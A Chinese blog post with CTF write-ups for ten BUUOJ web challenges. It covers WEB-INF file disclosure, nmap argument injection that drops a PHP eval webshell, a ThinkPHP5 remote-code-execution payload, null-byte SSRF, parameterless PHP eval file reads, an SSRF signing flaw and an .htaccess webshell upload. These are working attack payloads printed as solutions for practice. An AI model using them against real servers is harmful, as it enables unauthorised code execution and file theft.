BUUOJ-Web题目-4

[网鼎杯 2020 青龙组]AreUSerialz

[RoarCTF 2019]Easy Java

[BUUCTF 2018]Online Tool

[GYCTF2020]Blacklist

[BJDCTF 2nd]old-hack

[GKCTF2020]cve版签到

[GXYCTF2019]禁止套娃

[De1CTF 2019]SSRF Me

[MRCTF2020]你传你马呢

[MRCTF2020]Ez_bypass

[网鼎杯 2020 青龙组]AreUSerialz

题解在这篇文章里面

不过地址改了,在这题里面地址比较正常/var/www/html/flag.php

[RoarCTF 2019]Easy Java

说到Java我们就想到JNDI注入和Java反序列化,不过还是看看题目是怎么一回事

首先我们可以看到一个登录框和一个help,点击help发现地址栏是这样的

image.png

于是我们似乎找到了一个打开文件的办法,但是读取/etc/passwd也是没办法读取的。猜测也许是Windows服务器

登录一下显示Wrong Password,注入一波没成功,猜测使用了Mybatis结构化了数据,所以应该没有合适的办法注入

然后没想法了,查wp去

然后看到WP说换请求方式是自然的想法……感觉不太自然,总之是换了就能下载

然后按照题解所说,WEB-INF泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

有个FlagController,试试下载下,地址是WEB-INF/classes/com/wm/ctf/FlagController.class

下载完丢到Java逆向网站,反编译得到base64的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
name = "FlagController"
)
public class FlagController extends HttpServlet {

String flag = "ZmxhZ3s1MTc3OWU3Yy05MDIzLTQ1ZDYtODljMS01NzkyYWQzYTBkMGV9Cg==";


protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}

[BUUCTF 2018]Online Tool

nmap扫描,字符串拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

?>

一般有两个思路:写文件绕过chdir(以前做过一道zip解压可以软链接读取文件),或者利用nmap拼接一些参数写个shell下来。

开头的沙箱地址相当于我们可以自定义,但是是md5后的。应该不是关键点。

用了两个函数escapeshellargescapeshellcmd,查一下得到了一篇文章

Payload:

1
2
3
http://8b006b61-c747-4b9c-8b42-2d87f2f53115.node3.buuoj.cn/?host=%27%20%3C?php%20@eval($_POST[cmd])?%3E%20-oG%20www2.php%20%27

?host=' <?php @eval($_POST[cmd])?> -oG www2.php '

解释一下,第一步会使用escapeshellarg实现第一次转换:

1
2
3
4
5
' <?php @eval($_POST[cmd])?> -oG www2.php '

=>

''\'' <?php @eval($_POST[cmd])?> -oG www2.php '\'''

观察可以发现,是先把所有的单引号转义,然后把单引号切分成的段各自用单引号包围

1
2
3
4
5
6
''\'' <?php @eval($_POST[cmd])?> -oG www2.php '\'''

=>

''\\'' \<\?php @eval\(\$_POST\[cmd\]\)\?\> -oG www2.php '\\'''

把斜杠,问号等等转义,此时可以发现原来的转义符被转义了

那么,拼凑出来的实际使用起来就是下面这样

1
2
3
4
5
''\\'' \<\?php @eval\(\$_POST\[cmd\]\)\?\> -oG www2.php '\\'''

=>

\ <?php @eval($_POST[cmd])?> -oG www2.php \\

转存到txt中,观察一下结果

1
2
# Nmap 7.70 scan initiated Wed Sep 23 12:00:03 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG www2.txt \ <?php @eval($_POST[cmd])?> \\
# Nmap done at Wed Sep 23 12:00:23 2020 -- 0 IP addresses (0 hosts up) scanned in 20.08 seconds

符合预期

image.png

[GYCTF2020]Blacklist

这篇文章中的[强网杯 2019]随便注是一样的。

[BJDCTF 2nd]old-hack

ThinkPHP5框架,如果没有改的话有通用Payload

试一把,其中一个Payload是没问题的

1
2
3
4
5
[URL]
http://b1bc74e4-bd1f-4e00-ab6f-d1074fa54186.node3.buuoj.cn/index.php?s=captcha

[POST]
_method=__construct&filter[]=system&method=get&get[]=cat /flag

[GKCTF2020]cve版签到

给了Hint是CVE-2020-7066,直接百度

原来是%00截断,直接截断后根据提示得到flag

注:127...*都会被当成127.0.0.1处理

Payload

1
http://8fc0e92c-607b-4528-a3dd-8b426f9916c6.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

[GXYCTF2019]禁止套娃

貌似没提示,估计只能扫描器上了

扫了一下发现有.git文件夹,用现成利用工具

不过貌似三套工具只有一套好用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

不会了,查wp去

我觉得这篇博客写的很好,给了两种无参数RCE的方式

第一种:利用随机的方式来读取

1
http://a6ac5cf6-faa7-47fc-a2c9-19bdbb2fbc2e.node3.buuoj.cn/?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

current:取出数组第一项

localeconv:获取当前环境的基础变量,第一项是’.’

array_flip:反转数组的键和值

array_rand:随机返回数组的一个键

array_reverse:反转数组后返回

readfile:读取文件

image.png

第二种:PHP Session

这种方法稳定性更强。

指定Cookie内的PHPSESSID,可以在session_start后使用session_id来获得任意字符串。

image.png

读取文件:有show_sourcereadfilehighlight_file

获取字符串后读取即可。

[De1CTF 2019]SSRF Me

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

首先我们看到在Exec函数中,使用了in来做判断,所以我们可以在action中同时包含read和scan来完成既搜索又读取的任务。有了这个条件,我们就可以直接操作了。

注意到/geneSign路由内用了getSign函数,这个函数使用了字符串连接来计算,所以我们可以让geneSign的时候param最后包含一个read,其效果相当于action中有read和scan。

同时,urlopen可以直接打开本地文件。

综合起来,我们可以进行以下操作:

第一步:

计算签名

image.png

第二步:

签名和参数写入cookie

image.png

第三步:

拿flag

image.png

[MRCTF2020]你传你马呢

.htaccess增加jpg解析为php,上传php木马取名为xxx.jpg,之后直接连接拿shell。

image.png

image.png

image.png

[MRCTF2020]Ez_bypass

似乎给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&amp;&amp;isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) &amp;&amp; $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

老套路,同这篇文章中的[BJDCTF2020]Easy MD5

image.png

image.png


BUUOJ-Web题目-4
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-4
Author
John Doe
Posted on
September 23, 2020
Licensed under